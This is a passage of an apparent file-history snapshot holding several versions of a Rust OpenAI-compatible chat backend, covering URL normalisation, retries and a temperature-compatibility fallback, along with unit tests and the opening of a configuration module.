model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_k25_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2.5\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn kimi_k2_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(&mut body, \"temperature\"));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"OpenAI API error (400): {\\\"error\\\":\\\"unsupported parameter: temperature\\\"}\"\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"OpenAI API error (400): {\\\"error\\\":\\\"invalid model\\\"}\");\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "6e9306549cd341f96b8549db00fee4de5d4e654e": {"t": 1785760762.0477161, "n": 8355, "h": "146e0b7c60576501", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let normalized = base_url.trim_end_matches('/');\n let lower = normalized.to_ascii_lowercase();\n\n if lower.ends_with(\"/chat/completions\") {\n return normalized.to_string();\n }\n\n if lower.ends_with(\"/v1\") {\n return format!(\"{}/chat/completions\", normalized);\n }\n\n format!(\"{}/v1/chat/completions\", normalized)\n }\n\n fn should_omit_temperature_by_default(&self) -> bool {\n let model = self.config.model.trim().to_ascii_lowercase();\n model.starts_with(\"kimi\")\n || model.starts_with(\"moonshot\")\n || model.contains(\"/kimi\")\n || model.contains(\"/moonshot\")\n }\n\n fn build_body(\n &self,\n messages: Vec,\n include_temperature: bool,\n ) -> serde_json::Value {\n let mut map = serde_json::Map::new();\n map.insert(\"model\".to_string(), json!(self.config.model));\n map.insert(\"messages\".to_string(), json!(messages));\n map.insert(\"max_tokens\".to_string(), json!(super::DEFAULT_MAX_TOKENS));\n map.insert(\"response_format\".to_string(), json!({\"type\": \"json_object\"}));\n if include_temperature {\n map.insert(\n \"temperature\".to_string(),\n json!(super::DEFAULT_TEMPERATURE),\n );\n }\n serde_json::Value::Object(map)\n }\n\n fn remove_top_level_field(body: &mut serde_json::Value, key: &str) -> bool {\n match body {\n serde_json::Value::Object(map) => map.remove(key).is_some(),\n _ => false,\n }\n }\n\n fn should_retry_without_temperature(err: &anyhow::Error) -> bool {\n let msg = err.to_string().to_lowercase();\n if !msg.contains(\"temperature\") {\n return false;\n }\n\n msg.contains(\"api error (400)\")\n || msg.contains(\"unsupported\")\n || msg.contains(\"not support\")\n || msg.contains(\"not allowed\")\n || msg.contains(\"unknown parameter\")\n || msg.contains(\"invalid parameter\")\n || msg.contains(\"invalid_request_error\")\n || msg.contains(\"extra fields not permitted\")\n || msg.contains(\"不支持\")\n || msg.contains(\"未知参数\")\n || msg.contains(\"无效参数\")\n }\n\n async fn send_request_with_compat(&self, mut body: serde_json::Value) -> Result {\n let first_err = match self.send_request(body.clone()).await {\n Ok(resp) => return Ok(resp),\n Err(err) => err,\n };\n\n if Self::should_retry_without_temperature(&first_err)\n && Self::remove_top_level_field(&mut body, \"temperature\")\n {\n return self.send_request(body).await.with_context(|| {\n format!(\n \"Compatibility retry without `temperature` failed after initial error: {}\",\n first_err\n )\n });\n }\n\n Err(first_err)\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let messages = vec![\n json!({\"role\": \"system\", \"content\": system}),\n json!({\"role\": \"user\", \"content\": user}),\n ];\n let body = self.build_body(messages, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = self.build_body(msgs, !self.should_omit_temperature_by_default());\n self.send_request_with_compat(body).await\n }\n}\n\n#[cfg(test)]\nmod tests {\n use super::OpenAiBackend;\n use crate::config::OpenAiConfig;\n use serde_json::json;\n\n fn backend(base_url: Option<&str>, model: &str) -> OpenAiBackend {\n OpenAiBackend::new(OpenAiConfig {\n api_key: \"sk-test\".to_string(),\n model: model.to_string(),\n base_url: base_url.map(ToString::to_string),\n })\n }\n\n #[test]\n fn build_url_appends_v1_for_plain_base_url() {\n let b = backend(Some(\"https://api.deepseek.com\"), \"deepseek-chat\");\n assert_eq!(\n b.build_url(),\n \"https://api.deepseek.com/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_avoids_duplicate_v1_when_present() {\n let b = backend(Some(\"https://openrouter.ai/api/v1\"), \"auto\");\n assert_eq!(\n b.build_url(),\n \"https://openrouter.ai/api/v1/chat/completions\"\n );\n }\n\n #[test]\n fn build_url_accepts_full_chat_completions_url() {\n let b = backend(\n Some(\"https://example.com/custom/v1/chat/completions\"),\n \"custom-model\",\n );\n assert_eq!(\n b.build_url(),\n \"https://example.com/custom/v1/chat/completions\"\n );\n }\n\n #[test]\n fn kimi_model_omits_temperature_by_default() {\n let b = backend(Some(\"https://api.moonshot.cn\"), \"kimi-k2-0711-preview\");\n assert!(b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn non_kimi_model_keeps_temperature_by_default() {\n let b = backend(Some(\"https://api.openai.com\"), \"gpt-4o-mini\");\n assert!(!b.should_omit_temperature_by_default());\n }\n\n #[test]\n fn remove_top_level_field_removes_temperature() {\n let mut body = json!({\"model\":\"x\", \"temperature\":0.1});\n assert!(OpenAiBackend::remove_top_level_field(&mut body, \"temperature\"));\n assert!(body.get(\"temperature\").is_none());\n }\n\n #[test]\n fn retry_without_temperature_only_for_unsupported_temperature_errors() {\n let err = anyhow::anyhow!(\n \"OpenAI API error (400): {\\\"error\\\":\\\"unsupported parameter: temperature\\\"}\"\n );\n assert!(OpenAiBackend::should_retry_without_temperature(&err));\n\n let other = anyhow::anyhow!(\"OpenAI API error (400): {\\\"error\\\":\\\"invalid model\\\"}\");\n assert!(!OpenAiBackend::should_retry_without_temperature(&other));\n }\n}\n"}, "fabc522d16272993066c5e2dd1d37106ccbf12d2": {"t": 1785760763.444853, "n": 3378, "h": "f0c2c0dcb1f96f5b", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n match super::handle_error_response(status, &text, attempt, \"OpenAI\") {\n Ok(msg) => {\n last_err = Some(msg);\n super::backoff_delay(attempt).await;\n continue;\n }\n Err(e) => return Err(e),\n }\n }\n\n Err(super::bail_last_err(last_err, \"OpenAI request failed\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n}\n"}, "324ed11f88b0752b0424d024b878bea558fba95b": {"t": 1785760764.6499832, "n": 3634, "h": "87bf9b84816b7792", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n if super::should_retry(status) && attempt + 1 < super::MAX_RETRIES {\n super::backoff_delay(attempt).await;\n last_err = Some(format!(\n \"OpenAI API error ({}): {}\",\n status,\n text.chars().take(500).collect::()\n ));\n continue;\n }\n\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n anyhow::bail!(\n \"{}\",\n last_err.unwrap_or_else(|| \"OpenAI request failed\".into())\n )\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS,\n \"response_format\": {\"type\": \"json_object\"}\n });\n self.send_request(body).await\n }\n}\n"}, "97dfb1a2cab4fd4f35b55bb319902b8bafddb7a0": {"t": 1785760766.0334296, "n": 3522, "h": "25b182c3c340042c", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n if super::should_retry(status) && attempt + 1 < super::MAX_RETRIES {\n super::backoff_delay(attempt).await;\n last_err = Some(format!(\n \"OpenAI API error ({}): {}\",\n status,\n text.chars().take(500).collect::()\n ));\n continue;\n }\n\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n anyhow::bail!(\n \"{}\",\n last_err.unwrap_or_else(|| \"OpenAI request failed\".into())\n )\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n}\n"}, "be950557bf26322428905a08322cf5c10a9d2611": {"t": 1785760768.849601, "n": 3410, "h": "20c19aee63804928", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let url = self.build_url();\n let mut last_err = None;\n\n for attempt in 0..super::MAX_RETRIES {\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if status.is_success() {\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n return parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"));\n }\n\n if super::should_retry(status) && attempt + 1 < super::MAX_RETRIES {\n super::backoff_delay(attempt).await;\n last_err = Some(format!(\"OpenAI API error ({}): {}\", status, text.chars().take(500).collect::()));\n continue;\n }\n\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n anyhow::bail!(\"{}\", last_err.unwrap_or_else(|| \"OpenAI request failed\".into()))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n}\n"}, "7f977758c8a941bd6980fa6692c96550b3a36872": {"t": 1785760770.9140556, "n": 2790, "h": "858a474341eea877", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let resp = self\n .client\n .post(self.build_url())\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": super::DEFAULT_TEMPERATURE,\n \"max_tokens\": super::DEFAULT_MAX_TOKENS\n });\n self.send_request(body).await\n }\n}\n"}, "388379de47893be285fc5542500a018381b0312e": {"t": 1785760772.3044276, "n": 2638, "h": "d215a5c1590406d8", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: super::build_http_client(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let resp = self\n .client\n .post(self.build_url())\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n let preview: String = text.chars().take(500).collect();\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, preview);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n}\n"}, "81ba73cc794ae306b91a08fdbed4bcde22ca235d": {"t": 1785760774.3807633, "n": 2563, "h": "ced09be5aa2e5b2c", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::{LlmBackend, Message};\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: reqwest::Client::new(),\n }\n }\n\n fn build_url(&self) -> String {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'))\n }\n\n async fn send_request(&self, body: serde_json::Value) -> Result {\n let resp = self\n .client\n .post(self.build_url())\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, text);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n\n async fn chat_with_history(&self, system: &str, messages: &[Message]) -> Result {\n let mut msgs = vec![json!({\"role\": \"system\", \"content\": system})];\n for m in messages {\n msgs.push(json!({\"role\": m.role, \"content\": m.content}));\n }\n let body = json!({\n \"model\": self.config.model,\n \"messages\": msgs,\n \"temperature\": 0.1\n });\n self.send_request(body).await\n }\n}\n"}, "2f08bf81f9976305605e408ad08ef8c717583081": {"t": 1785760776.2229068, "n": 1925, "h": "a8b54ec03c7a94c8", "c": "use anyhow::{Context, Result};\nuse async_trait::async_trait;\nuse serde_json::json;\n\nuse super::LlmBackend;\nuse crate::config::OpenAiConfig;\n\npub struct OpenAiBackend {\n config: OpenAiConfig,\n client: reqwest::Client,\n}\n\nimpl OpenAiBackend {\n pub fn new(config: OpenAiConfig) -> Self {\n Self {\n config,\n client: reqwest::Client::new(),\n }\n }\n}\n\n#[async_trait]\nimpl LlmBackend for OpenAiBackend {\n async fn chat(&self, system: &str, user: &str) -> Result {\n let base_url = self\n .config\n .base_url\n .as_deref()\n .unwrap_or(\"https://api.openai.com\");\n let url = format!(\"{}/v1/chat/completions\", base_url.trim_end_matches('/'));\n\n let body = json!({\n \"model\": self.config.model,\n \"messages\": [\n {\"role\": \"system\", \"content\": system},\n {\"role\": \"user\", \"content\": user}\n ],\n \"temperature\": 0.1\n });\n\n let resp = self\n .client\n .post(&url)\n .header(\"Authorization\", format!(\"Bearer {}\", self.config.api_key))\n .header(\"Content-Type\", \"application/json\")\n .json(&body)\n .send()\n .await\n .context(\"Failed to send request to OpenAI\")?;\n\n let status = resp.status();\n let text = resp\n .text()\n .await\n .context(\"Failed to read OpenAI response\")?;\n\n if !status.is_success() {\n anyhow::bail!(\"OpenAI API error ({}): {}\", status, text);\n }\n\n let parsed: serde_json::Value =\n serde_json::from_str(&text).context(\"Failed to parse OpenAI response\")?;\n\n parsed[\"choices\"][0][\"message\"][\"content\"]\n .as_str()\n .map(|s| s.to_string())\n .ok_or_else(|| anyhow::anyhow!(\"Unexpected OpenAI response format\"))\n }\n}\n"}}, "src/config.rs": {"9f6d61b742783293d95b348ac1408254df447b0e": {"t": 1785746225.370926, "n": 21552, "h": "c00f7b7ac9b20183", "c": "use anyhow::{Context, Result};\nuse serde::{Deserialize, Serialize};\nuse std::path::PathBuf;\n\nuse crate::i18n::{self, Lang};\n\n#[derive(Debug, Deserialize, Serialize)]\npub struct Config {\n #[serde(default = \"default_backend\")]\n pub default_backend: String,\n #[serde(default = \"default_cache_ttl\")]\n pub cache_ttl_hours: u64,\n #[serde(default)]\n pub auto_confirm_safe: bool,\n #[serde(default)]\n pub show_explanation: bool,\n #[serde(default = \"default_language\")]\n pub language: String,\n #[serde(default = \"default_chat_history_size\")]\n pub chat_history_size: usize,\n #[serde(default = \"default_cache_max_entries\")]\n pub cache_max_entries: usize,\n pub openai: Option,\n pub claude: Option,\n pub gemini: Option,\n pub ollama: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct OpenAiConfig {\n pub api_key: String,\n #[serde(default = \"default_openai_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct ClaudeConfig {\n pub api_key: String,\n #[serde(default = \"default_claude_model\")]\n pub model: String,\n pub base_url: Option,\n}\n\n#[derive(Debug, Deserialize, Serialize, Clone)]\npub struct GeminiConfig {\n pub api_key: 